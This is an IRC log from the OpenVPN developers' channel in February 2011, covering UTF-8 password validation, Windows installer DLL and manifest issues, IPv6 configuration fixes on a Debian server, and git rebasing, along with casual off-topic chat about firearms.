11:01 <@dazo> Hartimer: which class did you use? 11:01 <@dazo> (or category) 11:02 < Hartimer> on init.c i added setlocale(LC_ALL, "PT"); (tried "pt_PT,utf8" aswell) 11:03 * dazo does some tests 11:06 <@dazo> Hartimer: I'm just wondering ... this might be some trickery with UTF-8 as well ... which can be multi-byte 11:07 < Hartimer> dazo, to test it i printed out the password before and after string_mod 11:08 < Hartimer> before it has the chars just right, after they are cleared out 11:08 < Hartimer> now, how to avoid that utf trickery :S 11:11 <@dazo> http://pastebin.com/DfCb6uPM 11:11 <@dazo> I tried several different locales as well ... and it makes sense, though ... as it treats each of the two last chars in str as 4 bytes 11:12 * dazo brb 11:16 < Hartimer> dazo, i see what you mean 11:16 < Hartimer> this is a bummer :/ 11:18 <@dazo> oh yeah 11:19 * dazo curses those who thought 7bit should be enough for the whole world ... they could have gone the 16 bit path immediately! 11:19 < Hartimer> dazo, we could use iswprint instead of isprint 11:19 < Hartimer> from wctype.h 11:20 <@dazo> Hartimer: yeah, if we can be absolutely sure it tackles single byte gracefully as well 11:20 * dazo wonder what wint_t is ... 11:20 < Hartimer> and how would one do that :X 11:21 < Hartimer> testing extensivly? 11:21 <@dazo> for (i = 0; i < 256; i++) ? 11:21 <@dazo> ;-) 11:21 <@dazo> I'd call that extensively ;-) 11:22 < Hartimer> hehe gonna check it 11:27 < Hartimer> it looks right 11:28 < Hartimer> http://pastebin.com/8KKfs4w1 11:35 <@dazo> Hartimer: that's correct! That looks good! 11:37 <@dazo> then it is just to make the iswprint() integrate properly 11:40 * dazo heads home 11:42 -!- dazo is now known as dazo_afk 12:23 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 13:13 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 13:37 -!- Hartimer [~peixoto@gw.identity.pt] has quit [Ping timeout: 240 seconds] 14:11 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 14:13 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 14:24 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:32 -!- s7r [~s7r@74.3.165.161] has joined #openvpn-devel 15:01 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 15:02 -!- s7r [~s7r@74.3.165.161] has quit [Ping timeout: 245 seconds] 15:02 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 15:04 -!- s7r [~s7r@89.39.174.74] has joined #openvpn-devel 15:26 <@mattock> community.openvpn.net will get a reboot now, a kernel update 15:36 <@mattock> back on, all seems to be in order 15:36 < EO_> woo 15:39 -!- psha [~psha@213.208.162.69] has quit [Ping timeout: 276 seconds] 16:01 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 16:41 -!- s7r [~s7r@89.39.174.74] has left #openvpn-devel [] 19:04 * ecrist waves 19:27 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Feb 08 2011 00:30 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 00:46 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 00:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:03 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:03 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:06 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 01:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:42 -!- krzie is now known as krzee 01:45 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:10 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 02:42 -!- dazo_afk is now known as dazo 03:40 -!- Hartimer [~peixoto@gw.identity.pt] has joined #openvpn-devel 04:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:59 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 05:35 -!- s7r [~s7r@74.3.165.161] has joined #openvpn-devel 05:42 -!- Hartimer [~peixoto@gw.identity.pt] has quit [Quit: Ex-Chat] 06:40 <@mattock> good news: the installer was simply missing the msvcrt90.dll, that's why it failed for JJK... when that's placed in $OPENVPN_HOME\bin manually, openvpn.exe launches properly 06:41 <@mattock> I'm testing the connectivity on XP now 06:41 <@mattock> then fix the installer 07:14 <@dazo> mattock: is it possible to statically link in that dll ... and also do something about all those manifest files? ... it kind of looks a bit ugly now ... compared to earlier, where it was liblzo2.dll, libcrypto.dll and ssleay.dll ... iirc 07:15 <@mattock> dazo: I'm not sure... but I believe having a separate msvcrt90.dll is the "de facto" standard now 07:16 <@mattock> although I also read that MS is getting rid of the manifest files altogether 07:16 <@mattock> not sure what they replace them with 07:16 <@dazo> okay, well, one more dll is probably fine enough ... but the manifest files for each dll and exe is ... a bit annoying :) 07:16 <@mattock> yep... the manifests can be embedded to the EXE/DLL 07:16 * dazo wonders what the point is with these manifest files ... 07:16 <@mattock> I believe mt.exe is used to do that 07:16 <@dazo> aha 07:17 <@mattock> the manifests declare the dynamic library dependencies of the DLL/EXE 07:17 <@mattock> they're just text files, basically 07:17 <@mattock> the original intention was to get rid off the DLL hell 07:17 <@mattock> but they just replaced DLL hell with manifest hell 07:17 <@dazo> lol 07:18 <@dazo> I see I have too little experience with the Windows platform to understand the DLL / manifest hell ... 07:18 <@dazo> :) 07:18 <@dazo> http://msdn.microsoft.com/en-us/library/ms235591%28v=vs.90%29.aspx 07:18 <@vpnHelper> Title: How to: Embed a Manifest Inside a C/C++ Application (at msdn.microsoft.com) 07:18 <@dazo> is this your approach? 07:19 <@mattock> yep, that was the idea 07:19 <@mattock> btw. openvpn now works on WinXP 07:20 <+ecrist> lol 07:20 <@mattock> I'll check that the service and other tools (e.g. openssl.exe) work properly 07:20 <@dazo> cool! ... it is at least some progress :) 07:21 <@mattock> dazo: some progress? this is groundbreaking! :P 07:21 <@dazo> lol :) ... true, we have an executable which does work with smoketesting :) 07:22 <@mattock> my installer go through rigorous testing procedures... if it installs on one platform and connects to community VPN with both openvpn-gui and service, it's ready for release ;) 07:24 <@mattock> ok, service works also 07:25 <@mattock> I got to split in ~30 mins, but I'll have second preview of the installer ready tomorrow ~12:00 UTC 07:25 <@mattock> then I'll fix the remaining minor issues 07:28 <@mattock> btw. do you think we should check that OpenVPN is being installed on a supported platform? 07:29 <@mattock> James disabled Windows version checks when Windows 7 came out 07:29 <@mattock> because installation on that platform failed 07:29 <+ecrist> I don't think we should. 07:29 <@mattock> I kind of agree... it just creates another thing that can go wrong 07:29 <+ecrist> that's my thought 07:30 <@mattock> and if we have stated our supported platforms clearly, people can only blame themselves when it won't work 07:30 <@mattock> if nobody is against this idea, I'll remove the (disabled) Windows checking from win/openvpn.nsi 07:36 <@dazo> I'm wonder if ecrist said we should _not_ disable it 07:36 <@dazo> The advantage of not having the check there, is that we don't have to publish a new installer when the next Windows version comes 07:36 <+ecrist> what I meant was we should NOT have os version checks 07:36 <@dazo> okay 07:37 <+ecrist> too many potential problems 07:37 <@dazo> and the other advantage is that early adopters can test OpenVPN more easily, and all we need to do is to update a web page stating the platforms we support 07:37 <+ecrist> and potential downfalls 07:38 <+ecrist> "I'm sorry, you're running windows. Have you thought about FreeBSD?" 07:38 <+ecrist> hehe 07:38 <@dazo> the disadvantage of removing it is that people can try to install it on versions we _know_ will not work ... like Windows 2000 and earlier 07:39 <+ecrist> so we state that clearly on the website. OR, we put in a blacklist-only check 07:39 <+ecrist> i.e. rather than a whitelist of known-compatible OS versions, we put in a list of OSes we know have a problem. 07:40 <@mattock> blacklisting makes more sense 07:40 <@dazo> ecrist: that's probably a better approach ... we basically know we want to support all newer versions ... and just increase the "lower side" of the supported platforms 07:43 <+ecrist> :) sometimes I have a good idea. 07:44 <@dazo> indeed :) 07:52 <@mattock> ok, next preview here: http://build.openvpn.net/downloads/releases/openvpn-2.2-rc-install-preview-2.exe 07:52 <@mattock> passed smoketesting 07:52 <@mattock> I'll mail JJK about this 07:52 <+ecrist> is there a way to force admin perms on the openvpn binary in windows? 07:53 <@dazo> in the new Win7 regime ... it is more difficult, how I've understood it 07:54 <@dazo> I believe hyper_ch and I briefly discussed it on #openvpn the other day or so 09:33 <@cron2> mattock: community.openvpn.net is not ipv6-pinging since yesterday evening. related to the reboot? 09:34 <@cron2> stopped pinging at 22:30 local time (21:30 UTC, I think) 09:35 <@dazo> cron2: mattock announced the reboot ~22:22 CET 09:35 <@dazo> 22:26, to be exact 09:36 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:43 <@cron2> ecrist: are you around and could check what broke? 09:46 <+ecrist> o.O 09:46 <+ecrist> something broke? 09:46 * cron2 points 5 lines up 09:46 <+ecrist> ah 09:46 <+ecrist> let me look 09:46 <@cron2> thanks :) 09:47 * ecrist had to add -4 to ssh command, since his home network is IPv6-enabled 09:47 <+ecrist> I don't even know where to start, ifconfig doesn't even exist 09:47 <+ecrist> anyone wanna give me a crash course in linux? 09:48 <+ecrist> ip addr seemed to do it 09:48 <@dazo> /sbin/ifconfig should be there ... but /sbin might not be in the path when not being root 09:48 <+ecrist> ah, there you go 09:49 <+ecrist> ok, my bsd command to add the IP to the interface fails me 09:49 <@cron2> ecrist: oh, that's the linux box, I can never remember which one is which 09:50 <+ecrist> looks like on reboot it got an autoconfigure address 09:50 <@cron2> ecrist: "ip -6 addr add 2001:.../64 dev eth0" 09:50 <@cron2> ifconfig and ipv6 is pain on linux, "ip" is weird at first, but much more logical later 09:50 <+ecrist> so, it's accessible at 2607:f0d0:1001:14:20c:29ff:feef:5781, but that's likely not allowed through the firewall 09:50 <+ecrist> I like ifconfig, at least on freebsd 09:50 <@cron2> and not in DNS 09:51 <@cron2> "linux ifconfig" is the one I always have issues with 09:51 <@cron2> what sort of leenux is this? 09:51 <@dazo> debian, I believe 09:52 <+ecrist> debian, I think. 09:52 * ecrist wishes they were using freebsd 09:52 <+ecrist> the forum box runs freebsd 09:52 <+ecrist> hrm, I added that IP, but Scope:Link instead of Scope:Global 09:53 <@dazo> ecrist: check with ip6tables -vxnL INPUT ... it might be the local firewall ... if 09:53 <@dazo> there is a global IPv6 address ,that is 09:53 <+ecrist> no, I think it's the cope thing 09:53 <+ecrist> scope* 09:54 <+ecrist> nothing interesting there. 09:55 <@dazo> did you try to add the 2607:f0d0:1001:14::2 address? 09:55 <+ecrist> http://pastebin.com/U9KxFhBk 09:55 <@dazo> that firewall rule looks fine 09:55 <+ecrist> that address has been added, but it says Scope:Link instead of Scope:Global like the other ipv6 address 09:55 <@dazo> humm ... that's really odd 09:56 <+ecrist> not sure how to fix that 09:56 * ecrist punts, installs freebsd. 09:56 <+ecrist> :P 10:01 <@cron2> ecrist: can you show me "ip -6 addr show dev eth<n>"? 10:02 <+ecrist> http://pastebin.com/3zn6swTK 10:02 <@cron2> anyway, on debian the IPv6 config goes to /etc/network/interfaces 10:02 <@cron2> and looks somewhat like that: 10:02 <@cron2> iface eth0 inet6 static 10:02 <@cron2> address 2001:608:4::1 10:02 <@cron2> netmask 64 10:02 <@cron2> gateway 2001:608:4::192 10:03 <@cron2> (in addition to "iface eth0 inet static") 10:03 <@cron2> ecrist: but it *is* "scope global"...? 10:04 <+ecrist> ifconfig show different 10:04 * cron2 would trust ip more than ifconfig 10:04 <+ecrist> no, nevermind, it shows correctly 10:05 <+ecrist> how do I remove an IP6 address, then? 10:05 <@cron2> ip -6 addr del $address dev eth0 10:05 <+ecrist> I'm thinking it may be responding out the other ip 10:05 <@cron2> nah, it should never send an answer back with a different address 10:05 <@cron2> that's just not done (except inside openvpn/udp/ipv6 transport) 10:05 <+ecrist> root@community:~# ip -6 addr del 2607:f0d0:1001:14:20c:29ff:feef:5781 dev eth0 10:05 <+ecrist> RTNETLINK answers: Cannot assign requested address 10:06 <@cron2> I think you need the "/64" 10:06 <@dazo> Pretty sure you need that 10:06 <+ecrist> that worked 10:06 <+ecrist> you shouldn't need the subnet to remove an IP 10:06 <+ecrist> that's lame 10:06 <+ecrist> an IP is an IP, regardless of the subnet 10:07 <@cron2> ecrist: well, yes, but this is not the freebsd-is-better-than-leenux corner ;-) 10:07 <+ecrist> damn 10:07 * ecrist sits in the corner 10:07 <@cron2> still doesnt ping 10:07 <@dazo> tcpdump -i eth0 ip6 ? 10:07 <+ecrist> cron2: does forums.openvpn.net ping on ipv6? 10:07 <@cron2> yes 10:07 <@dazo> yes 10:08 <+ecrist> and the community box can ping it on ipv6 10:08 <@cron2> does it have a default route? 10:08 <+ecrist> and it can ping the gateway 10:08 <@cron2> (ip -6 route show) 10:08 <+ecrist> ooh 10:08 <+ecrist> no! 10:08 <+ecrist> durrr 10:08 <@cron2> ip -6 route add default via $gateway 10:08 * ecrist sits in corner with dunce cap on 10:09 <+ecrist> now? 10:09 <@cron2> 16 bytes from 2607:f0d0:1001:14::2, icmp_seq=35 hlim=47 time=162.603 ms 10:09 <+ecrist> woot 10:09 <@cron2> \o/ 10:09 <+ecrist> ok, now what file do I need to edit to make this work next time? 10:09 <+ecrist> and let's hope puppet doesn't blow it away 10:09 <@cron2> /etc/network/interfaces, see above 10:10 <@cron2> (17:02) 10:10 <@cron2> (uh, useless information for anyone not in my time zone, but anyway, roughly 8 minutes ago and 40 lines up :) ) 10:11 <+ecrist> hrm, he has info in there, doesn't look like eth2 liked it 10:11 <+ecrist> *shrug* I'll put it in place for eth0 10:11 <+ecrist> are you able to get to the webpage on ipv6 cron2? 10:11 <+ecrist> jI seem to be able to 10:12 <+ecrist> in the interfaces file, what's the format for multiple addresses on a single interface? 10:13 <@cron2> http works 10:13 <@cron2> ecrist: dunno, never needed that - I have one stanza for IPv4 and another one for IPv6 10:13 <@cron2> iface eth0 inet static 10:13 <@cron2> <ipv4 stuff> 10:13 <+ecrist> for same interface? 10:13 <@cron2> iface eth0 inet6 static 10:13 <@cron2> <ipv6 stuff> 10:13 <@cron2> yes 10:13 <+ecrist> ok 10:15 <+ecrist> I updated the file, should I try rebooting the box, to see if things come back up? 10:15 <@cron2> yep 10:16 <+ecrist> <enter> 10:16 <@cron2> (it should boot fast enough) 10:16 <+ecrist> Broadcast message from root@community (pts/0) (Tue Feb 8 08:16:08 2011): 10:16 <+ecrist> The system is going down for reboot NOW! 10:22 <@cron2> mmh, still not pinging... :-o 10:27 <+ecrist> it doesn't like something in the config 10:28 <@cron2> ping ist back 10:28 <+ecrist> I manually added the stuff back in 10:29 <+ecrist> http://pastebin.com/mYP12hg4 10:30 <+ecrist> that's from /etc/network/interfaces 10:31 <@dazo> maybe IPv6 is not enabled up-on boot? 10:31 <+ecrist> no clue 10:31 <+ecrist> how can I check? 10:31 <@dazo> #define cron2 debian_expert 10:31 <@cron2> on my single debian box, I never had to do anything to enable IPv6- and the network config looks very much like the one you have. But then, it's squeeze here, so maybe it was different in the previous release 10:32 <@cron2> dazo: I only have debian because that's on the sheevaplug :) 10:32 <@dazo> ahh :) 10:33 <@dazo> well, I have maemo5 on my mobile ... which is debian based ... but I've not dared to poke too much into /etc yet :) 10:33 <+ecrist> there doesn't seem to be anything I'm enabling, though, just adding the info 10:33 <@cron2> my resident debian expert is berniv6, but he's afk right now 10:33 <+ecrist> maybe I should just through a script into crontab, "sleep 120 && ip .... && ip ...." 10:34 <@cron2> hehe :) 10:34 <+ecrist> for @reboot 10:34 <@dazo> that' 10:34 <@dazo> that's hacky :) 10:34 <@cron2> add a new /etc/rc script :-) 10:34 <+ecrist> it is, but it *works* which is more important in my book. 10:35 <@dazo> yeah, until somebody else who don't know about all these hacks and needs to be a sysadmin on that box ... and just goes "WTF!?" :) 10:37 <+ecrist> indeed. 10:38 <+ecrist> I vote for us waiting around for mattock to fix this issue. 10:38 <+ecrist> to be honest, I've already learned more about leenucks than I wanted to know. 10:38 <+ecrist> ;) 10:38 <@dazo> lol 10:39 <@dazo> but I recognise the transition when I had to play with FreeBSD and OpenBSD some weeks ago 10:41 <+ecrist> considering I've been using FreeBSD since 2.2.5, ~1997, and i have almost no linux experience since... 10:42 <@cron2> ecrist: ack 10:43 <@cron2> mattock might now right away how to fix it (... and could enable IPv4 ping while at it, that's just a needless nuisance, disallowing pings) 10:43 <+ecrist> what makes me lol a little is how debian now includes the freebsd kernel. :) 10:43 <@cron2> these cross-breeds are just weird ;-) 10:46 <+ecrist> by the same token, freebsd has long since been able to run most of the linux userland utlities, but doesn't include them in base for political reasons, mostly relating to GPL gooiness 10:47 <+ecrist> which, I supposed, would technically be the GNU part of GNU/Linux 10:47 <+ecrist> since linux denotes the kernel 10:49 < psha> ecrist: like Debian GNU/kFreeBSD :) 10:49 <+ecrist> lol 10:53 < Dark-Fx> Debian/hurd 10:54 <@cron2> hehe, and DukeNukem4Ever :-) 10:56 < Dark-Fx> allow-hotplug is garbage 10:57 < Dark-Fx> http://pastebin.com/uR5bydSk that's what your /etc/network/interfaces should look like 10:59 < Dark-Fx> ecrist: ^ 11:02 <+ecrist> Dark-Fx: not a lot of difference 11:02 < Dark-Fx> the auto is important 11:02 <+ecrist> I omitted the first two lines as they were lost in comments. 11:02 < Dark-Fx> You also need to have lo being set up, or you'll have weird problems 11:02 <+ecrist> what does that do? 11:02 < Dark-Fx> ah. 11:02 < Dark-Fx> Auto is what is responsible for bringing up the interface. Allow-hotplug will only change the state if the network cabling changes state 11:03 < Dark-Fx> And it won't up an interface unless it's either auto or up'ed manually 11:04 * dazo redefines debian_expert from cron2 to Dark-Fx 11:04 < Dark-Fx> :-P 11:05 <@dazo> :) 11:05 < Dark-Fx> Well, the license plate I have on my truck does read 'DEBIAN' :) 11:05 <+ecrist> but, the interface was coming up, just inet6 config isn't getting set. 11:05 <@dazo> Dark-Fx: heh ... so you're far beyond the average user ;-) 11:07 < Dark-Fx> If it doesn't come up if the machine is rebooted after changing it to auto, let me know 11:07 <+ecrist> I'm not opposed to trying another reboot to test this new config 11:08 < Dark-Fx> if you're local, you could also try /etc/init.d/networking restart, but it's not as obviously not as thorough. 11:08 <+ecrist> not local 11:08 <+ecrist> no where near 11:08 * ecrist reboots again 11:08 * cron2 wonders why IPv4 came up just fine and IPv6 didn't 11:08 <@cron2> but it's good to have someone with Debian expertise here now ;-) (and I need to leave anyway) 11:09 < Dark-Fx> probably another admin that doesn't know the debian way of doing things? :-P 11:09 <@cron2> *press thumbs that this is going to be fixed for good now* 11:10 < Dark-Fx> I tend to just lurk, so if anyone actually needs help, I'm much more responsive if hilighted 11:11 < psha> Dark-Fx: are not 'allow-hotplug' triggered on boot too? 11:11 < psha> surely for server 'auto' is much better 11:12 < Dark-Fx> I'm not sure that it will up the interface automagically if it detects link 11:13 < Dark-Fx> There's other issues with hoping the hotplugging system is set up properly for the specific cards too 11:13 < psha> only difference with 'auto' is that it won't up interface if link is not detected as i remember 11:13 <+ecrist> still did not set ipv6 on interface properly 11:14 < psha> yes, i've seen issues with some cards that until you up interface it won't detect link 11:14 < Dark-Fx> what's the output of ip -6 addr eth0 11:14 < Dark-Fx> er, dev eth0 11:14 <+ecrist> http://pastebin.com/dM2AnAF3 11:14 < Dark-Fx> show, christ, can't type today 11:14 < Dark-Fx> What about route? 11:15 <+ecrist> I just added the IP and gateway manually 11:15 < Dark-Fx> I think autoconf might be smashing your manual configuration 11:16 < Dark-Fx> Do you need to use ipv6 autoconf for anything on that machine? 11:16 < psha> Dark-Fx: won't it add just another address to interface? 11:16 <+ecrist> no 11:16 <+ecrist> shouldn't it just add another address? 11:16 <+ecrist> doh 11:17 < Dark-Fx> psha: I'm not 100% sure, but it should just behave that way. 11:18 < psha> it's possible to disable autoconf per interface 11:18 < Dark-Fx> add net.ipv6.conf.eth0.autoconf=0 in your /etc/sysctl.conf 11:18 < psha> net.ipv6.conf.eth0.autoconf=0 11:18 <+ecrist> I need to quit messing with this today. I have a new voip server to deploy this week. 11:19 < Dark-Fx> Alright. 11:49 -!- dazo is now known as dazo_afk 12:04 -!- s7r [~s7r@74.3.165.161] has quit [Ping timeout: 240 seconds] 14:01 <@cron2> Dark-Fx: autoconf should never override static addresses, just add to it 14:03 < Dark-Fx> I didn't think so, there must be something screwy with how that machine has been configured. 14:04 * Dark-Fx bashes his head against openbsd for a while 14:04 <@cron2> don't, it's so spiky 14:05 < Dark-Fx> damned puffer fish 14:07 <+ecrist> heh, I gave up on openbsd, that's a strange duck 14:08 <@mattock> oh, you guys have been busy playing with ipv6 :) 14:08 <@mattock> missed all the fun 14:08 < Dark-Fx> apparently there's still fun to be had! 14:08 <@mattock> ok, so IPv6 interface does not initialize properly during boot? 14:08 <+ecrist> the community box doesn't want to initilize on boot 14:09 <@mattock> btw. puppet will not affect any network configurations, except the firewall 14:09 <@mattock> if you need to do firewall config, you can do a "/etc/init.d/puppet stop", edit and let me know 14:09 <@mattock> that way it won't overwrite anything 14:09 <+ecrist> I figured it was safe, there wasn't any ominous 'GAH PUPPET CONFIG HERE' warning in the header 14:09 <@mattock> hmm... that kind of warning would be useful ;) 14:10 <@mattock> I guess I'll be adding those in the near future 14:10 <@mattock> is IPv6 working properly on community (for now, until reboot?) 14:10 <+ecrist> yes 14:10 <+ecrist> that box was rebooted three times, FYI, in attempts at verify my attempted fixes 14:11 <@mattock> ok, I'll check why it's not initializing properly and fix it 14:11 <@mattock> not right now, but after 2.2-rc release :) 14:11 <@mattock> which is... hopefully on Monday 14:12 <@mattock> dazo: if the 2.2-rc installer _seems_ to work ok on WinXP and Win7, should we make the release 14:12 <@mattock> ? 14:12 <@mattock> or try to get people to test the installer & openvpn (at gunpoint? ;) 14:13 * ecrist has gun(s) 14:13 <+ecrist> <- crazy american 14:13 <@mattock> can the bullets handle IPv6 routing to get to their target? 14:14 <+ecrist> heh, don't think .40 S&W has the range 14:14 < Dark-Fx> try .45 ACP 14:14 <@mattock> too low velocity 14:15 <+ecrist> The .40 is hot enough round. I'd really need to move to .50BMG 14:15 <+ecrist> just a matter of the right trajectory 14:16 <@mattock> ecrist: I was afraid you'd say that :) 14:16 <@mattock> .50BMG is crazy... shot with a Barnett .50cal in the army 14:18 <@mattock> I wonder what the excuse is for allowing civilian use for .50BMG... "I use it for small-game hunting" ;) 14:18 <+ecrist> I already gave you an excuse 14:18 <+ecrist> 14:13:26 <+ecrist> <- crazy american 14:18 <+ecrist> :) 14:18 < Dark-Fx> the crazy 'merican part, yeah 14:18 < Dark-Fx> right to arms 14:19 <+ecrist> I have a right to do something here most people in Europe can't fathom - open carry a firearm in public 14:20 < Dark-Fx> People get kinda pissy if you open carry though 14:20 < Dark-Fx> especially unholstered carry 14:20 <+krzee> mattock, 14:20 <+krzee> the right to bear arms was not given to USA for defending ones house, or for hunting 14:20 <+krzee> it exists as the last check against government tyranny 14:21 <+krzee> the founders of america were clear about that in their discussions 14:21 <@mattock> krzee: oh yes... 14:21 <+ecrist> unholstered, sure. in 2+ years of open carry, nobody's said anything negative to me, 14:21 <+ecrist> though, I am 6'2" and 300lbs 14:21 <+krzee> with that said, everyone should have a .50BMG =] 14:22 <+ecrist> or a sherman 14:22 <+krzee> oh hell yes 14:22 <+krzee> lol 14:22 <@mattock> in fact, .50BMG might have some use against government's lightly armoured APCs 14:22 <+ecrist> "Contratulation, Mr. Crist, on your new baby girl. Her new tank will be delivered Thursday" 14:23 <+ecrist> the original intent of the .50BMG in a long-range rifle was as an anti-vehicle weapon. Turns out it works well against people, too. 14:24 <+krzee> HAH 14:24 <+krzee> works well, as in if you only hit their arm, they still die 14:24 <+ecrist> or they'd wish they had 14:24 <+ecrist> a doctor would call that an amputation 14:25 <+krzee> very much so 14:25 <@mattock> I'm glad doctors usually use less crude tools for amputation 14:25 <+ecrist> less crude = less fun 14:25 <+krzee> doctors also charge more 14:25 <@mattock> yep, that's true 14:25 <+ecrist> though, if it were me, I hope my doc has as little fun as possible 14:50 < Dark-Fx> man, I'm going to smash this realtek wifi card into tiny little bits 14:50 < Dark-Fx> Might actually function then 14:56 < Dark-Fx> attempting to set up an openvpn tunnel crashes and restarts the card over WEP 14:56 <+ecrist> lol 15:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:24 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:43 < Dark-Fx> Is it possible to send ipv6 parameters to the clients yet? 16:45 <+ecrist> try allmerged branch 16:50 < Dark-Fx> man, this is all backwards... So now I have native IPv6 on my laptop, and tunneled IPv4. 16:51 <+ecrist> lol 16:51 <+ecrist> you can, of course use OS-native ipv6 support by using a bridged vpn 16:52 < Dark-Fx> Yeah, I'm using tap devices right now 16:52 < Dark-Fx> I needed a globally routable ipv4 address for a project I'm working on. Setting it up in openvpn sucked because I just moved my vpn server to openbsd today 16:52 < Dark-Fx> fighting with the differences 16:53 <+ecrist> should've used freebsd 16:53 <+ecrist> then I could have helped you 16:53 < Dark-Fx> I got it, I'm just not used to the differences in conventions. I'm a linux guy 16:53 < Dark-Fx> but pf >>>>> tc 16:54 <+ecrist> why did you build an openbsd box? 16:54 < Dark-Fx> I need to use pf and I like open better than free 16:59 < Dark-Fx> Oh, and TLS timeout issues are really annoying. 17:00 < Dark-Fx> 4096 bit key exchanges take a while 17:00 <+ecrist> what do you like better about open vs free? 17:00 <+ecrist> just curious, not starting a flame war. ;) 17:01 < Dark-Fx> well, I had some pretty busted hardware the first time I tried both, and I couldn't get free to run reliably 17:02 < Dark-Fx> sun's openboot stuff is such a mess for any OS other than solaris 17:36 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 17:37 -!- reiffert [~thomas@mail.reifferscheid.org] has left #openvpn-devel [] 20:34 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 20:34 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 20:34 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 20:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:16 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:25 -!- Netsplit *.net <-> *.split quits: agi, helmut, @patelx, chantra_afk, EvilJStoker, @cron2, Dark-Fx, kisom, Essobi, EO_, (+1 more, use /NETSPLIT to show all of them) 22:25 -!- Netsplit over, joins: Essobi, Dark-Fx, EvilJStoker, waldner, chantra_afk, kisom, @patelx, agi, @cron2, helmut 22:26 -!- Netsplit *.net <-> *.split quits: @raidz 22:29 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 22:29 -!- ServerMode/#openvpn-devel [+o raidz] by jordan.freenode.net 22:38 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 23:58 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Wed Feb 09 2011 00:11 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 00:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:13 -!- psha [~psha@213.208.162.69] has quit [Read error: Operation timed out] 00:16 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:28 <+krzee> krzee is a self-taught BSD user who has been helping with OpenVPN for over 3 years. He wrote one of most widely used documents on routing lans over openvpn, and helps maintain the IRC channel. krzee would like to thank Eric Crist for his work on #OpenVPN. To OpenVPN Technologies for joining with the community, which I think we all agree is for the better. To punk for phear and loathing in nl. And of course thanks to the Efnet #IRCpi 02:28 <+krzee> mps 02:28 <+krzee> that'll be in JJK's book 02:46 <@cron2> Dark-Fx: the "auto-config IPv6 on client stuff" works well on tun devices in allmerged, and "somewhat" for tap devices (not all OSes yet) 02:56 <+krzee> lol, the forum makes fun of my lack of coding skills 02:57 <+krzee> krzee Post subject: Re: Split tunnel tweaks? 02:57 <+krzee> Posted: 05 Oct 2010 09:08 02:57 <+krzee> I should be on the dev team. 02:57 <+krzee> Joined: 29 Aug 2008 17:42 02:57 <+krzee> Posts: 529 02:57 * krzee kicks the forum "ild be on the dev team if i was a coder!" 03:03 -!- dazo_afk is now known as dazo 03:54 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:51 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 06:56 <+ecrist> lol 06:56 <+ecrist> ok, fucking spammers, you win 06:56 * ecrist disables new account creation on the wiki for now 07:19 <@mattock> dazo: can I use the HEAD on beta2.2 branch for 2.2-rc release? 07:19 <@dazo> I believe so 07:19 * dazo double checks 07:20 <@dazo> mattock: which commit ID is your HEAD? 07:20 <@mattock> hmm, not sure, I just messed my repo by doing a rebase :) 07:20 <@mattock> just a sec 07:23 <@dazo> If it is c994385048a64adb3ec3e8f5f906c5f8668e1a71 ... it should be good to go 07:23 <@mattock> I think I'm only missing commit c994385048a64adb3ec3e8f5f906c5f8668e1a71 07:24 <@mattock> then I got tons of my own buildsystem-related commits on top of that 07:25 <@dazo> aha ... well, you can do several things now ... and to avoid messing up your "work" branch ... you can check out the current branch as a new one (f.ex. git checkout -b rebase)" 07:25 <@dazo> and then you can try git rebase origin/beta2.2 ... and if you get conflicts, you need to sort this out along the way 07:26 <@dazo> I just hope you did your fork (where you started to commit your work) on a beta2.2 based branch ... or else you're into some real fun :) 07:27 <@dazo> If that doesn't work out well ... then you can check out a new copy of the origin/beta2.2 branch (to a new local 